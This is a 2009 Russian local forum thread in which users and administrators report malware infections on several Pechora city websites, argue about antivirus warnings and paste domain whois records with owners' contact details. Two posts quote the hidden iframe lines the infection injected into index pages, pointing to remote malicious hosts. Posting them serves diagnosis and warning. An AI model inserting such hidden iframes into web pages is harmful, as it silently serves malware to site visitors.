Форум "Я-Печорец!" - главный форум города Печора
http://www.ya-pechorec.ru/forum/

Вирусные атаки печорских сайтов - осторожно!
http://www.ya-pechorec.ru/forum/viewtopic.php?f=164&t=100
Страница 1 из 2

Автор:  Колёк [ 21 июн 2009, 09:48 ]
Заголовок сообщения:  Вирусные атаки печорских сайтов - осторожно!

На сайте "Волны" с 19.06.09 поселился троян, работы ведутся. Это для тех, у кого нет антивируса и файервола. Будьте осторожны.

Автор:  Смагин Вячеслав [ 22 июн 2009, 23:38 ]
Заголовок сообщения:  Re: Атаки сайтов

НА http://pechoraonline.ru ТОЖЕ ВИРУС!

Автор:  Колёк [ 23 июн 2009, 06:49 ]
Заголовок сообщения:  Re: Атаки сайтов

Смагин Вячеслав писал(а):
НА http://pechoraonline.ru ТОЖЕ ВИРУС!



Пожалуй, наверное хост атаковали

Автор:  admin [ 24 июн 2009, 09:16 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Хост у сайтов разный, поэтому заражены не с одного хостинга. Такая волна недавно прокатилась по интернету и хостам. Сам боролся.... Помогает срочная смена пароля доступа по FTP и "Касперыч" очень хорошо чистит админские машины. В моем случае вирус поражал только файлы имеющие в своем имени "index".
Вот код, который вставлялся в файлы "index" вирусом:
Код:
<iframe src="http://thebettings.cn:8080/ts/in.cgi?pepsi54" width=125 height=125 style="visibility: hidden"></iframe>

Если бы админы сайтов глянули на этот код, то можно было бы сразу сказать диагноз.
При посещении зараженных сайтов вирус автоматом "просится" в компьютер пользователя. Будьте внимательны и осторожны.

Данные по хостингу Печорских "заболевших" сайтов:

Информация о домене PECHORAONLINE.RU
Доменное имя pechoraonline.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: PECHORAONLINE.RU
type: CORPORATE
nserver: ns1.mchost.ru.
nserver: ns2.mchost.ru.

state: REGISTERED, DELEGATED
person: Sergei V Vasichev
phone: +7 908 7162143
fax-no: +7 908 7162143
e-mail: domains@mchost.ru
e-mail: sergey@vasichev.ru
registrar: REGTIME-REG-RIPN
created: 2007.02.16
paid-till: 2010.02.16
source: TC-RIPN

Информация о домене VOLNA-PLUS.RU
Доменное имя volna-plus.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: VOLNA-PLUS.RU
type: CORPORATE
nserver: ns2.parma.ru.
nserver: srv.pokomi.ru.

state: REGISTERED, DELEGATED
org: Volna Ltd
phone: +7 82142 35690
e-mail: pechora-2000@rambler.ru
registrar: RUCENTER-REG-RIPN
created: 2008.06.20
paid-till: 2010.06.20
source: TC-RIPN

Автор:  VOLNA-PLUS точка RU [ 10 июл 2009, 14:39 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Приблизительно такую же хрень для вывода фреймов и у меня дописывало:
<iframe src="http://u0c.ru:8080/index.php" width=169 height=114 style="visibility: hidden"></iframe>

Оба сайта уже вычищены, пароли заменены. Кстати, эта гадость у меня меняла не только файлы INDEX, но и начинающиеся на MAIN...

Люди, будьте бдительны! (Юлиус Фучик).

Автор:  admin [ 10 июл 2009, 15:07 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

ВНИМАНИЕ!!!
Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам!
Изображение
Игорь Дементьев - прими меры!!!!!!!!!!

Автор:  Смагин Вячеслав [ 07 окт 2009, 15:42 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Сайт Администрации МР опять неблагонадежен!

Изображение

Автор:  Игорь Дементьев [ 08 окт 2009, 16:46 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Цитата:
Игорь Дементьев - прими меры!!!!!!!!!!

Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы.

Автор:  VOLNA-PLUS точка RU [ 08 окт 2009, 18:02 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

На сайте администрации тоже все чисто!

Автор:  Колёк [ 08 окт 2009, 19:55 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Игорь Дементьев писал(а):
Цитата:
Игорь Дементьев - прими меры!!!!!!!!!!

Нет у меня вируса и не было, а что там яндекс пишет, так это их (яндекса) проблемы.


Всё возможно, но антивирус уж как три месяца ругается и ругается:
Изображение
И что особенно, ругается только на главной странице.

Автор:  Игорь Дементьев [ 09 окт 2009, 11:29 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Цитата:
И что особенно, ругается только на главной странице.


Это из за скриптов фрэймов, которые в нынешних версиях анти-вирусов, считаются "вредоносными" по причине "подгрузки" пользователю, что собственно и происходит в случае троянов.

Как пример:
на http://pechora-portal.ru/ - касперский 2009 ругается:
"В запрашиваемом объекте по URL-адресу:
http://pechora-portal.ru/
Обнаружена угроза:
объект заражен HEUR:Trojan.Script.Iframer" (загрузка фрэймовой структуры)

А вот другой пример:
http://www.pechora-portal.ru/ex.html?/saitnews.htm - это открывается нормально, без "ругани"

Автор:  Игорь Дементьев [ 09 окт 2009, 11:37 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Цитата:
На сайте администрации тоже все чисто!

Да, точно: касперский 2009 не ругается... да и не ругался никогда.... о прогрузке скриптов это уже другая история.
Сайт как и у меня построен на фрэймовой структуре, поэтому другие антивирусы могут и ругаться...
Да и вообще, к вирусам пора привыкать, разве это зависит от администратора сайта, если заражён сервак хостера, например? В принципе, вирусы удаляются на автомате с серваков, если кто-то не поленился потратиться на проги...

Автор:  Игорь Дементьев [ 09 окт 2009, 11:53 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Цитата:
ВНИМАНИЕ!!!
Сайт www.pechora-portal.ru - представляет угрозу вашим компьютерам!


Только ради интереса набрал в Яндексе (яндексом-то уже никто не пользуется: считается "mauvais ton" в нормальном интернет-сообществе)

Вот что выпало у меня:

Изображение

И никаких вирусов... (одно приятно - первый в списке :))

Автор:  admin [ 09 окт 2009, 23:39 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Первый в списке - замечательно - (запрос "Портал Печора")! Набери там же "Я-Печорец!" и наш сайт тоже будет первый в списке :-)))

Автор:  Игорь Дементьев [ 12 окт 2009, 08:10 ]
Заголовок сообщения:  Re: Вирусные атаки печорских сайтов - осторожно!

Цитата:
Первый в списке - замечательно


Я и имел ввиду что ты написал :haha:

Страница 1 из 2 Часовой пояс: UTC + 3 часа
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
http://www.phpbb.com/